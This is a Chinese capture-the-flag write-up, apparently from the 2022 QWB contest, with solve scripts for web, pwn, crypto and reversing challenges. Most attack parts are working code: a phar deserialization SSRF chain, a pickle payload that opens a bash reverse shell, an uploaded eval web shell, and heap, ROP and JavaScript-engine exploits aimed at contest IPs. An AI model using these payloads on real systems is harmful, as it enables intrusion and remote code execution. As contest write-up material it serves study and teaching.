Web
babyweb
websocket
1. help: 帮助菜单 2. changepw: 修改密码 示例: changepw 123456 3. bugreport: 向管理员报告漏洞页面 示例: bugreport http://host:port/login
在 VPS 上构造上面这样的 1.html,然后让管理来访问,即bugreport http://vpsip/1.html
然后使用 admin/123
登录管理员账户即可,登录后存在购买页面,经过测试,使用如下 payload 可以绕过检查,再访问主页面即可获得 flag
easyweb
文件读取
http://47.104.95.124:8080/showfile.php?f=/demo.png/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/var/www/html/showfile.php index.php <?php $upload = md5("2022qwb".$_SERVER['REMOTE_ADDR']); @mkdir($upload, 0333, true); if(isset($_POST['submit'])) { include 'upload.php'; } ?>
upload.php
<?php error_reporting(0); require_once('class.php'); if(isset($_SESSION)){ if(isset($_GET['fname'])?!empty($_GET['fname']):FALSE){ $_FILES["file"]["name"] = $_GET['fname']; } $upload = new Upload(); $upload->upload(); }else { die("<p class='tip'>guest can not upload file</p>"); } ?>
showfile.php
<?php error_reporting(0); require_once('class.php'); $filename = $_GET['f']; if(preg_match("/http|https|bzip2|gopher|dict|zlib|data|input|%00/i", $filename)){ die("nop"); } else{ if(isset($_SESSION)){ $show = new AdminShow($filename); $show->show(); }else{ if(preg_match('/guest|demo/i',$filename)) { $show = new GuestShow($filename); $show->show(); }else{ die("<p class='tip'>no permission, you can only see string 'demo' and 'guest'</p>"); } } } ?>
class.php
<?php class Upload { public $file; public $filesize; public $date; public $tmp; function __construct(){ $this->file = $_FILES["file"]; } function do_upload() { $filename = session_id().explode(".",$this->file["name"])[0].".jpg"; if(file_exists($filename)) { unlink($filename); } move_uploaded_file($this->file["tmp_name"],md5("2022qwb".$_SERVER['REMOTE_ADDR'])."/".$filename); echo 'upload '."./".md5("2022qwb".$_SERVER['REMOTE_ADDR'])."/".$this->e($filename).' success!'; } function e($str){ return htmlspecialchars($str); } function upload() { if($this->check()) { $this->do_upload(); } } function __toString(){ return $this->file["name"]; } function __get($value){ $this->filesize->$value = $this->date; echo $this->tmp; } function check() { $allowed_types = array("jpg","png","jpeg"); $temp = explode(".",$this->file["name"]); $extension = end($temp); if(in_array($extension,$allowed_types)) { return true; } else { echo 'Invalid file!'; return false; } } } class GuestShow{ public $file; public $contents; public function __construct($file) { $this->file=$file; } function __toString(){ $str = $this->file->name; return ""; } function __get($value){ return $this->$value; } function show() { $this->contents = file_get_contents($this->file); $src = "data:jpg;base64,".base64_encode($this->contents); echo "<img src={$src} />"; } function __destruct(){ echo $this; } } class AdminShow{ public $source; public $str; public $filter; public function __construct($file) { $this->source = $file; $this->schema = 'file:///var/www/html/'; } public function __toString() { $content = $this->str[0]->source; $content = $this->str[1]->schema; return $content; } public function __get($value){ $this->show(); return $this->$value; } public function __set($key,$value){ $this->$key = $value; } public function show(){ if(preg_match('/usr|auto|log/i' , $this->source)) { die("error"); } $url = $this->schema . $this->source; $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_HEADER, 1); $response = curl_exec($curl); curl_close($curl); $src = "data:jpg;base64,".base64_encode($response); echo "<img src={$src} />"; } public function __wakeup() { if ($this->schema !== 'file:///var/www/html/') { $this->schema = 'file:///var/www/html/'; } if ($this->source !== 'admin.png') { $this->source = 'admin.png'; } } }
题目提示内部系统,因此猜测最终需要调用 AdminShow 的 show 方法去做 ssrf。先读了一下 /proc/net/arp
,得到内网有两 IP: 10.10.10.10
和 10.10.10.101
class.php
中有一堆魔术方法,又存在文件上传和file_get_contents
,因此只需构造 phar 反序列化,上传后触发即可。构造代码在最后贴出。
文件上传需要设置$_SESSION
,这点可以通过设置PHP_SESSION_UPLOAD_PROGRESS
搞定。
在反序列化时 AdminShow 类的__wakeup
函数会设置 source 和 schema,从而让我们无法控制 ssrf 的地址,所以需要绕过__wakeup
,利用CVE-2016-7124,改大个数。但是 phar 修改后上传报错。
搜索发现这篇文章中类似的题目 http://www.yongsheng.site/2022/05/14/phar/
即修改类个数后需要重新计算签名
直接复制文章脚本计算新签名:
from hashlib import sha1 file = open("exp.jpg","rb").read() text = file[:-28] #读取开始到末尾除签名外内容 last = file[-8:] #读取最后8位的GBMB和签名flag new_file = text+sha1(text).digest() + last #生成新的文件内容,主要是此时Sha1正确了。 open("exp2.jpg","wb").write(new_file)
然后上传,抓包加上 cookie 和 PHP_SESSION_UPLOAD_PROGRESS
再访问触发 phar 反序列化,得到内容
/showfile.php?f=phar://./3fddbdeeb265642d6506eb011d5f9dc6/sakai2.jpg/demo.txt
分别读了一下, http://10.10.10.101/
读不到没内容, http://10.10.10.10
代码如下:
由于 curl 支持 file 协议,直接 ssrf 访问http://10.10.10.10/?url=file:///flag
即可获得 flag
因为过程过于繁琐,写了个脚本,exp.php 如下:
<?php //exp.php class Upload { public $file; public $filesize; public $date; public $tmp; function __construct(){ $this->file = $_FILES["file"]; } } class GuestShow{ public $file; public $contents; public function __construct($file) { $this->file=$file; } } class AdminShow{ public $source; public $str; public $filter; public function __construct($file) { $this->source = $file; } } $a = new AdminShow('aa'); $a->source=''; $a->schema=$argv[1]; //设置ssrf地址 $b = new GuestShow('aa'); $b->file=$a; unlink('exp.jpg'); $phar = new Phar('phar.phar'); $phar -> startBuffering(); $phar -> setStub('GIF89a'." __HALT_COMPILER();?>"); //设置stub,增加gif文件头 $phar ->addFromString('demo.txt','test'); //添加要压缩的文件 $phar -> setMetadata($b); //将自定义meta-data存入manifest $phar -> stopBuffering(); rename('phar.phar','exp.jpg');
上传脚本 exp.py
如下:
import requests import os from hashlib import sha1 import re import base64 # target= 'http://10.10.10.10/?url=http://10.10.10.101/' target = 'http://10.10.10.10/?url=file:///flag' os.system('php exp.php {}'.format(target)) f1 = open('exp.jpg','rb').read() file = f1.replace(b'"AdminShow":4',b'"AdminShow":5') text = file[:-28] # 读取开始到末尾除签名外内容 last = file[-8:] # 读取最后8位的GBMB和签名flag new_file = text + sha1(text).digest() + last # 生成新的文件内容,主要是此时Sha1正确了。 open('exp2.jpg', "wb").write(new_file) cookiename="sakai" url='http://47.104.95.124:8080/' headers={ "Cookie":'PHPSESSID='+cookiename } payload=open('exp2.jpg',"rb").read() files={ 'file':("exp2.jpg",payload) } data={ "PHP_SESSION_UPLOAD_PROGRESS":'xxx', 'submit':'提交' } res=requests.post(url,files=files,data=data,headers=headers) filepath = re.findall(r'upload\s{2}(.*)\ssuccess!',res.text)[0] res = requests.get(url+'showfile.php?f=phar://'+filepath+'/demo.txt') tmp = re.findall(r'<img src=data:jpg;base64,(.*) /><img src=data:jpg;base64, />',res.text)[0] tmp = base64.b64decode(tmp) # print(tmp) with open('flag.html','wb') as f3: f3.write(tmp) print('done')
crash
题目在 balancer 路由存在一个 pickle 反序列化 rce,过滤了 R,找了一下参考 https://www.163.com/dy/article/G6J7KHJP0538S33I.html
,用如下 payload 可以反弹 shell
请求脚本:
import requests import re import base64 import pickle from flask import Flask, make_response,request, session import pickletools url='http://47.93.187.169:13528/' burp0_url=url+'login' burp0_cookies = {"userdata": "gAJjX19tYWluX18KVXNlcgpxACmBcQF9cQIoWAgAAAB1c2VybmFtZXEDWAUAAABzYWthaXEEWAUAAAB0b2tlbnEFigiStsURvzkoAXViLg==", "session": "eyJwYXNzd29yZCI6IjEyMyJ9.YuTtrQ.7cLupb8BOqZV4kOwBqdVhJkxYUQ"} burp0_headers = {"Cache-Control": "max-age=0", "DNT": "1", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7,ru;q=0.6", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"} burp0_data = {"username": "sakai", "password": "123"} res = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data) session = res.headers['Set-Cookie'].split(';')[3].split(',')[1].strip() realsession = session[8:] realuserdata=b'''(cos system S'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"' o.''' print(base64.b64encode(realuserdata)) realuserdata=base64.b64encode(realuserdata).decode() print(realuserdata) burp0_url = url+"balancer" burp0_cookies = {"userdata": realuserdata, "session": realsession} burp0_headers = {"Cache-Control": "max-age=0", "DNT": "1", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7,ru;q=0.6", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"} res = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies) print(res.text)
由于题目说需要 504 页面,也就是需要网页超时,于是反弹 shell 后往服务器上传了一个 python 文件,代码如下:
import base64 from flask import Flask, make_response,request, session import time app = Flask(__name__,static_url_path='') app.secret_key='hello' @app.route('/',methods=['GET','POST']) def flag(): time.sleep(1000) return 'success' if __name__ == '__main__': app.run(host='0.0.0.0', port=5000)
然后跑起来
最后直接访问首页,即可超时获取 flag
强网先锋
rcefile
存在 www.zip 文件
注意到 config.inc.php 中存在 spl_autoload_register
函数,又存在文件上传,于是可以上传一个 xxx.inc
文件,其中有一个同名 xxx 类,在 cookie 反序列化时即可实现类自动加载执行,文件名写脚本上传即可,脚本如下:
import requests import time import hashlib name = hashlib.md5(str(int(time.time())).encode()).hexdigest() burp0_url = "http://eci-2ze69f1lybic2yim76dd.cloudeci1.ichunqiu.com/upload.php" burp0_cookies = { "userfile": "a%3A1%3A%7Bi%3A0%3Bs%3A36%3A%229b6d4595f0e44610087536aea53546ce.png%22%3B%7D"} burp0_headers = {"Cache-Control": "max-age=0", "Origin": "http://eci-2ze10x6989pgnwt57n0z.cloudeci1.ichunqiu.com", "Upgrade-Insecure-Requests": "1", "DNT": "1", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryIA3mura5cNnbrw4S", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://eci-2ze10x6989pgnwt57n0z.cloudeci1.ichunqiu.com/index.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7,ru;q=0.6", "Connection": "close"} burp0_data = "------WebKitFormBoundaryIA3mura5cNnbrw4S\r\nContent-Disposition: form-data; name=\"file\"; filename=\"sakai.inc\"\r\nContent-Type: image/png\r\n\r\n<?php \nclass "+name+"{\n public function __wakeup(){\n eval($_REQUEST['sakai']);\n }\n}\r\n------WebKitFormBoundaryIA3mura5cNnbrw4S--\r\n" res = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data) print(res.text)
devnull
ret 的时候 rdx 正好是 7,把 rax 控制一下触发 mprotect,然后执行 shellcode
# -*- coding: utf-8 -*- from pwn import * #p=process('./devnull') p=remote('123.56.105.22',13870) elf=ELF('./devnull') context(arch='amd64', os='linux', terminal=['tmux', 'splitw', '-h']) #context.log_level='debug' def debug(): gdb.attach(p) pause() def lg(name,val): log.success(name+' : '+hex(val)) #debug() p.recvuntil('filename') payload=36*'a'+p64(0x3fe000)*4+p32(0x0000000000401354)#p32(0x4014D7) #debug() #0x0000000000401350 : mov rax, qword ptr [rbp - 0x18] ; leave ; ret p.send(payload) sleep(0.1) p.send(p64(0x3fe000+0x28)+p64(0x401350)+p64(0x3fe000)+'/bin/sh\x00'*2+p64(0xdeadbeef)+p64(0x4012d0)+p64(0)+p64(0x3fe000+0x48)+asm(shellcraft.execve(0x3fe000+0x18,0,0))) sleep(1) p.sendline('exec 1>&2') #debug() p.interactive()
ASR
通过 yafu 分解得到质因数,网上找了个类似的脚本直接跑
from Crypto.Util.number import * import time from binascii import hexlify, unhexlify def all_printable(s): for i in s: if i in range(0x20, 0x7f): continue else: return False return True n = 8250871280281573979365095715711359115372504458973444367083195431861307534563246537364248104106494598081988216584432003199198805753721448450911308558041115465900179230798939615583517756265557814710419157462721793864532239042758808298575522666358352726060578194045804198551989679722201244547561044646931280001 e = 3 c = 945272793717722090962030960824180726576357481511799904903841312265308706852971155205003971821843069272938250385935597609059700446530436381124650731751982419593070224310399320617914955227288662661442416421725698368791013785074809691867988444306279231013360024747585261790352627234450209996422862329513284149 a1 = 225933944608558304529179430753170813347 a2 = 260594583349478633632570848336184053653 a3 = 218566259296037866647273372633238739089 a4 = 223213222467584072959434495118689164399 PR.<x> = PolynomialRing(Zmod(a1)) f1 = x ^ e - c a1_roots = [int(i[0]) for i in f1.monic().roots()] PR.<x> = PolynomialRing(Zmod(a2)) f1 = x ^ e - c a2_roots = [int(i[0]) for i in f1.monic().roots()] PR.<x> = PolynomialRing(Zmod(a3)) f1 = x ^ e - c a3_roots = [int(i[0]) for i in f1.monic().roots()] PR.<x> = PolynomialRing(Zmod(a4)) f1 = x ^ e - c a4_roots = [int(i[0]) for i in f1.monic().roots()] for aa1 in a1_roots: for aa2 in a2_roots: for aa3 in a3_roots: for aa4 in a4_roots: tmp_solve = long_to_bytes(CRT_list([aa1, aa2, aa3, aa4], [a1, a2, a3, a4])) if b'flag' in tmp_solve: print(tmp_solve) print("Down!")
polydiv
from pwn import * from pwnlib.util.iters import bruteforce from parse import * import string from hashlib import sha256 import time context.log_level="debug" p=remote('47.94.166.51',28033) def brute_force(c,s): return bruteforce(lambda x:sha256((x+c).encode("utf-8")).hexdigest()==s,string.ascii_letters+string.digits,length=4) #data=conn.recvline(keepends=False) data=str(p.recvline(),encoding='utf-8') p.recvuntil('XXXX:') s=parse("sha256(XXXX+{}) == {}\n",data) p.sendline(brute_force(s[int(0)],s[int(1)])) for i in range(40): rx=p.recvline()[7:-1] ax=p.recvline()[7:-1] cx=p.recvline()[7:-1] p.recvline() r=sage_eval(str(rx)[2:-1],locals={'x':x}) c=sage_eval(str(cx)[2:-1],locals={'x':x}) a=sage_eval(str(ax)[2:-1],locals={'x':x}) bx=(r-c)/a print(bx) p.sendlineafter('> b(x) = ',str(bx)) # tmp=p.recvline() p.recvuntil('Success!\n') p.recvlines(10) p.recv(1024,timeout=1)
Pwn
houseofcat
一次打 house of apple,一次打 house of kiwi 触发 fsop
from pwn import* #p=process('./house_of_cat') p=remote('123.56.45.155',18302) libc=ELF('./libc.so.6') context(arch='amd64', os='linux', terminal=['tmux', 'splitw', '-h']) #context.log_level='debug' def debug(): gdb.attach(p) pause() def lg(name,val): log.success(name+' : '+hex(val)) def menu(idx): p.recvuntil('choice:\n') p.sendline(str(idx)) def add(idx,size,con): p.recvuntil('mew mew mew~~~~~~\n') p.send('CAT | r00t QWXFQWB QWXF\xff\xff\xff\xff$') menu(1) p.recvuntil('idx:\n') p.sendline(str(idx)) p.recvuntil('size:\n') p.sendline(str(size)) p.recvuntil('content:\n') p.send(con) def delete(idx): p.recvuntil('mew mew mew~~~~~~\n') p.send('CAT | r00t QWXFQWB QWXF\xff\xff\xff\xff$') menu(2) p.recvuntil('idx:\n') p.sendline(str(idx)) def show(idx): p.recvuntil('mew mew mew~~~~~~\n') p.send('CAT | r00t QWXFQWB QWXF\xff\xff\xff\xff$') menu(3) p.recvuntil('idx:\n') p.sendline(str(idx)) def edit(idx, con): p.recvuntil('mew mew mew~~~~~~\n') p.send('CAT | r00t QWXFQWB QWXF\xff\xff\xff\xff$') menu(4) p.recvuntil('idx:\n') p.sendline(str(idx)) p.recvuntil('content:\n') p.send(con) p.recvuntil('mew mew mew~~~~~~\n') p.send('LOGIN | r00t QWXFQWB QWXFadmin') add(0,0x428,'aaa') add(1,0x418,'aaa') add(2,0x418,'aaa') delete(0) add(3,0x438,'aaa') #debug() show(0) libc.address=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x21a0d0 p.recv(10) heap_base=u64(p.recv(6).ljust(8,b'\x00'))-0x290 lg('libc.address',libc.address) lg('heap_base',heap_base) #debug() rop_addr=heap_base+0x1790 fake_io1=p64(0)*5 fake_io1+=p64(libc.sym['setcontext']+61) fake_io1+=p64(0)*5 fake_io1+=p64(rop_addr) fake_io1+=p64(2) + p64(0xffffffffffffffff) fake_io1+=p64(0) + p64(libc.address+0x21ba60) fake_io1+=p64(0xffffffffffffffff) + p64(0) fake_io1+=p64(heap_base+0x340)+p64(libc.address+0x00000000001675b0) fake_io1+=p64(0)*2 fake_io1+=p64(1) fake_io1+=p64(0)*2 fake_io1+=p64(libc.address+0x2160c0-0xc0-0x20)#io_wfile_jumps vtable fake_io1+=p64(0) fake_io1+=p64(libc.sym['setcontext']+61) fake_io1+=p64(0)*0x5 fake_io1+=p64(libc.address+0x000000000007498c) fake_io1+=p64(0)*0xe fake_io1+=p64(heap_base+0x340) #debug() add(9,0x428,fake_io1) #debug() add(8,0x428,'a') add(7,0x438,'a') add(6,0x418,'a') delete(6) delete(7) delete(8) delete(9) add(0xa, 0x438,'a') delete(2) #debug() edit(0,p64(libc.address+0x21a0d0)*2+p64(heap_base+0x290)+p64(libc.sym['stderr']-0x20)) #debug() ret=libc.address+0x00000000000f872e fake_io2=p64(0)+p64(rop_addr) fake_io2+=p64(1)+p64(0) fake_io2+=p64(libc.sym['setcontext']+61) fake_io2+=p64(0)*13 fake_io2+=p64(heap_base+0xae0) fake_io2=fake_io2.ljust(0xa0,'\x00') fake_io2+=p64(heap_base+0xb00)+p64(ret) add(4,0x438,fake_io2) pop_rdi=libc.address+0x000000000002a3e5 pop_rsi=libc.address+0x000000000002be51 pop_rdx_r12=libc.address+0x000000000011f497 pop_rax=libc.address+0x0000000000045eb0 syscall=libc.address+0x0000000000091396 #debug() rop='./flag\x00\x00'+p64(0) rop+=p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(0)+p64(pop_rdx_r12)+p64(0)+p64(0)+p64(pop_rax)+p64(3) rop+=p64(syscall) rop+=p64(pop_rdi)+p64(heap_base+0xaf0)+p64(pop_rsi)+p64(0)+p64(pop_rdx_r12)+p64(0)+p64(0)+p64(pop_rax)+p64(2) rop+=p64(syscall) rop+=p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(heap_base+0x1000)+p64(pop_rdx_r12)+p64(0x30)+p64(0)+p64(pop_rax)+p64(0) rop+=p64(syscall) rop+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(heap_base+0x1000)+p64(pop_rdx_r12)+p64(0x30)+p64(0)+p64(pop_rax)+p64(1) rop+=p64(syscall) #debug() add(5,0x418,rop) edit(6,p64(0)+p64(0x133)) #debug() p.recvuntil('mew mew mew~~~~~~\n') p.send('CAT | r00t QWXFQWB QWXF\xff\xff\xff\xff$') menu(1) p.recvuntil('idx:\n') p.sendline(str(0xf)) p.recvuntil('size:\n') #debug() p.sendline(str(0x430))
easychain1
(最后十分钟远程靶机连不上导致没有打通)
通过 bindiff 找到漏洞位于ecma_builtin_array_prototype_object_pop
:
当 array 对象进行 pop() 操作时,传入ecma_delete_fast_array_properties
为 len-2,导致在内部将 array.length 刷新为 len-2:
uint32_t ecma_delete_fast_array_properties (ecma_object_t *object_p, /**< fast access mode array */ uint32_t new_length) /**< new length of the fast access mode array */ { ... ext_obj_p->u.array.length = new_length; ... }
如果当前 array.length 为 1,在 array.pop() 执行完毕,array.length = -1,可以进行数组越界访问。
利用方法:在jerry_heap
上伪造出一个 float 对象,使用 array 越界访问,通过 float 对象可以读取 jerry_heap 上的任意数据,这样可以 leak 出 pie 地址。然后构造两个存储 ArrayBuffer 的 DataView 对象,利用 array 越界修改 DataView1 的 length
然后通过 DataView1 修改 DataView2 的 buffer 指针进行任意读写,先通过 pie 计算 got 表地址 leak 出 libc 地址,再通过 environ 地址 leak stack 地址,最后在栈上返回地址布置 rop 链即可 getshell。
EXP 如下:(比赛结束后,靶机恢复了- -,测试脚本与远程交互时需要把 js 代码的换行删掉)
from pwn import * context.log_level = 'debug' p = process("./pwn") #gdb.attach(p) p.sendafter('pwn> ','''function f64_to_hex(f64v) { var x = new Float64Array(1); var y = new Uint8Array(x.buffer); x[0] = f64v; var hex_res = "0x"; for (var i = 7; i > -1; i--) { hex_res += y[i].toString(16).padStart(2, "0"); } return hex_res; } var tmp = [] for (var i=0;i<0x200;i++) tmp[i] = [0x1234]; var a = [0x2333]; var buffer = new ArrayBuffer(0x20) data=new DataView(buffer,0,0x20) var buffer2 = new ArrayBuffer(0x20) data2=new DataView(buffer2,0,0x20) var b = [0x6161,0x6262,0x6363,0x6464,a]; r = new ArrayBuffer(0x20); var w = new Uint32Array(r); var magic = 0x62 w[0] = 43<<3|2; a.pop(); c = a[magic] var pie = parseInt(f64_to_hex(c)) print(pie) a[0x35] = 0x100 data.setUint32(0xc8,(pie+0x28641-0x10)&0xffffffff, true) data.setUint32(0xc8+4,pie/0x100000000, true) libc_base=data2.getUint32(0,true)+data2.getUint32(4,true)*0x100000000-0x61c90 print(libc_base) data.setUint32(0xc4,0x3000, true) data.setUint32(0xc8,(libc_base+0x1ed3a0)&0xffffffff, true) data.setUint32(0xc8+4,(libc_base+0x1ed3a0)/0x100000000, true) stack=data2.getUint32(0x2260,true)+data2.getUint32(0x2260+4,true)*0x100000000 print(stack) data.setUint32(0xc8,(stack-0x148)&0xffffffff, true) data.setUint32(0xc8+4,(stack-0x148)/0x100000000, true) data2.setUint32(0x30,(libc_base+0x23b6b)&0xffffffff, true) data2.setUint32(0x34,(libc_base+0x23b6b)/0x100000000, true) data2.setUint32(0x38,(libc_base+0x23b6a)&0xffffffff, true) data2.setUint32(0x3c,(libc_base+0x23b6a)/0x100000000, true) data2.setUint32(0x40,(libc_base+0x1b45bd)&0xffffffff, true) data2.setUint32(0x44,(libc_base+0x1b45bd)/0x100000000, true) data2.setUint32(0x48,(libc_base+0x52290)&0xffffffff, true) data2.setUint32(0x4c,(libc_base+0x52290)/0x100000000, true)''') p.interactive()
yakagame
漏洞点在于自己添加函数,然后把他加入 weaponlist 时,使用的 idx 索引和之前的 unisgned int8 不一样,是 char 类型的,这导致超过 127 时,会变成负数
修改数组前面区域的内容,修改 score 指针,让他指向满足条件的地址就行,需要爆破,然后将 cmd 里的内容变成 cat flag
#include <stdio.h> void fight(int a){}; void merge(int a,int b){}; void destroy(int a){}; void upgrade(int a){}; void wuxiangdeyidao(){}; void zhanjinniuza(){}; void guobapenhuo(){}; void tiandongwanxiang(){}; void a0(int a); void a1(int a); void ……(由于篇幅省略) void a8(int a); void a9(int a); void b0(int a); void b1(int a); void ……(由于篇幅省略) void b8(int a); void b9(int a); void c0(int a); void c1(int a); void ……(由于篇幅省略) void c8(int a); void c9(int a); void d0(int a); void d1(int a); void ……(由于篇幅省略) void d8(int a); void d9(int a); …………………… void y0(int a); void y1(int a); void ……(由于篇幅省略) void y8(int a); void y9(int a); void z0(int a); void z1(int a); void z2(int a); void z3(int a); void z4(int a); void gamestart() { tiandongwanxiang(); wuxiangdeyidao(); guobapenhuo(); wuxiangdeyidao(); a0(0); a1(0); …… a8(0); a9(0); b0(0); b1(0); …… b8(0); b9(0); c0(0); c1(0); …… c8(0); c9(0); d0(0); d1(0); ……(由于篇幅省略qaq) x8(0); x9(0); y0(0); y1(0x59); y2(0); …… y8(0); y9(0); z0(0); z1(0); …… z8(0); z9(0); y1(0xab); fight(0); }
Revers
find_basic
去混淆脚本
from idc import * from capstone import * from keystone import * md = Cs(CS_ARCH_X86, CS_MODE_32) ks = Ks(KS_ARCH_X86, KS_MODE_32) new_code_ea = 0x96150 new_code = b'' def mydis(code, addr=0): for i in md.disasm(code, addr): return ('%s %s' %(i.mnemonic, i.op_str)) def myasm(dis_txt, addr=0): encoding, count = ks.asm(dis_txt, addr=addr) return bytes(encoding) start_ea = 0x48F4 end_ea = 0x61B6 class Block: def __init__(self, start_ea, end_ea, imm, reg, call_target): self.start_ea = start_ea self.end_ea = end_ea self.imm = imm self.reg = reg self.call_target = call_target regnums = [] def get_block(start_ea): global new_code, new_code_ea mnem_list = ['pushf', 'pusha', 'mov', 'call', 'pop'] ea = start_ea i = 0 while i < 5: mnem = idc.print_insn_mnem(ea) if mnem_list[i%5] != mnem: if i%5 == 0: if ea == 0x4915: dis = 'mov ebx, 0x491a' else: dis = mydis(idc.get_bytes(ea, idc.get_item_size(ea)), ea) new_code += myasm(dis, new_code_ea + len(new_code)) #print('ea=%x, dis=%s' %(ea, dis)) ea += idc.get_item_size(ea) start_ea = ea continue #print('ea=%x, mnem=%s' %(ea, mnem)) raise 0 if mnem == 'mov': imm = idc.get_operand_value(ea, 1) # 17 -> cl, 18 -> dl, 19 -> bl reg = idc.get_operand_value(ea, 0) #reg_id ''' if reg not in regnums: print ('reg=%s, ea=%x' %(reg, ea)) regnums.append(reg) ''' if mnem == 'call': call_target = idc.get_operand_value(ea, 0) i += 1 ea += idc.get_item_size(ea) return Block(start_ea, ea, imm, reg, call_target) def get_real_code(block): global new_code, new_code_ea ea = block.call_target while True: mnem = idc.print_insn_mnem(ea) if mnem == 'cmp': reg = idc.get_operand_value(ea, 0) imm = idc.get_operand_value(ea, 1) if (reg == block.reg) & (imm == block.imm): break ea += idc.get_item_size(ea) ea += idc.get_item_size(ea) mnem = idc.print_insn_mnem(ea) if mnem != 'jnz': assert 0 ea += idc.get_item_size(ea) mnem = idc.print_insn_mnem(ea) if mnem != 'popa': assert 0 ea += idc.get_item_size(ea) mnem = idc.print_insn_mnem(ea) if mnem != 'popf': assert 0 if ea == 0x45CD: print ('ea=0x45ce: dis=retn') new_code += b'\xc3' return while True: ea += idc.get_item_size(ea) mnem = idc.print_insn_mnem(ea) if mnem == 'jmp': break dis = mydis(idc.get_bytes(ea, idc.get_item_size(ea)), ea) print ('block=%x, ea=%x, dis=%s' %(block.start_ea, ea, dis)) new_code += myasm(dis, new_code_ea+len(new_code)) funs = [] ea = start_ea count = 0 while ea < end_ea: myblock = get_block(ea) print ('ea=%x, new_ea=%x' %(myblock.start_ea, new_code_ea+len(new_code))) get_real_code(myblock) count += 1 ea = myblock.end_ea if myblock.call_target not in funs: funs.append(myblock.call_target) print ('count=%d' %count) #for i in range(new_code_ea, new_code_ea+len(new_code)): # del_items(i) ea = 0x48C8 end_ea = 0x48F3 while ea < end_ea: myblock = get_block(ea) print ('ea=%x, new_ea=%x' %(myblock.start_ea, new_code_ea+len(new_code))) get_real_code(myblock) ea = myblock.end_ea ida_bytes.patch_bytes(new_code_ea, new_code+b'\xc3') ''' for fun in funs: print ('fun=%x' %fun) print (len(funs)) print ('finish') '''
去混淆后的 idb
basic 部分:
是一个方程组直接上 z3
from z3 import * flag = [BitVec('x%d' % i, 8) for i in range(28)] s = Solver() v5 = 40085 * flag[3]- 222506 * flag[2]+ 54507 * flag[4]+ 88056 * flag[1]+ 212571 * flag[5]- 160722 * flag[0]-0x6A31D s.add(v5==0) v5 = 49300 * flag[3]+ 259229 * flag[0]+ 278066 * flag[2]- 127937 * flag[1]- 295169 * flag[4]- 8368677 s.add(v5==0) v5 = 42214 * flag[1]- 108025 * flag[3]+ 205972 * flag[0]+ 27559 * flag[2]- 17114904 s.add(v5==0) v5 = - 151496 * flag[1]+ 204740 * flag[0]+ 80143 * flag[2]- 12295783 s.add(v5==0) v5 = 241935 * flag[1]+ 124128 * flag[0]- 38790036+ 273221 * flag[0]- 27868542 s.add(v5==0) v6 = -279656 * flag[2]- 199574 * flag[1]- 258130 * flag[8]- 200399 * flag[3]- 173903 * flag[7]+ 175816 * flag[0]- 234569 * flag[6]- 108273 * flag[4]- 222957 * flag[5]+ 128244179 s.add(v6==0) v6 = - 81541 * flag[1]- 268763 * flag[0]+ 219073 * flag[3]+ 34782 * flag[6]+ 21153 * flag[5]+ 173005 * flag[7]+ 76285 * flag[4]+ 32825 * flag[2]- 13874925 s.add(v6==0) v6 = 85214 * flag[2]- 268299 * flag[3]- 230981 * flag[1]+ 290772 * flag[5]- 74394 * flag[4]+ 28044 * flag[6]- 242995 * flag[0]+ 50871139 s.add(v6==0) v7 = -208564 * flag[0] + 81934 * flag[9] - 106641 * flag[7] + 198477 * flag[2] + 154505 * flag[1] + 48440 * flag[5] - 149004 * flag[3] - 108909 * flag[4] - 51714 * flag[10] - 296420 * flag[8] + 263021 * flag[6] + 688726 s.add(v7==0) v7 = - 131130 * flag[2] + 224265 * flag[3] + 230702 * flag[0] - 176285 * flag[7] - 274778 * flag[4] + 103848 * flag[8] - 136039 * flag[9] - 241151 * flag[5] + 15542 * flag[6] - 17521 * flag[1] + 41644083 s.add(v7==0) v8 = 195056 * flag[4]- 15717 * flag[9]- 180214 * flag[6]- 114427 * flag[5]+ 277782 * flag[7]+ 261379 * flag[8]- 225266 * flag[2]+ 107609 * flag[0]+ 259792 * flag[3]+ 270563 * flag[11]+ 205124 * flag[1]+ 138334 * flag[10]+ 103474 * flag[12]- 117027475 s.add(v8==0) v8 = 189573 * flag[8]+ 64393 * flag[6]+ 231137 * flag[1]+ 145315 * flag[4]- 53938 * flag[10]- 291345 * flag[5]+ 216413 * flag[3]- 204681 * flag[0]- 65519 * flag[9]- 262826 * flag[2]+ 187002 * flag[7]+ 271732 * 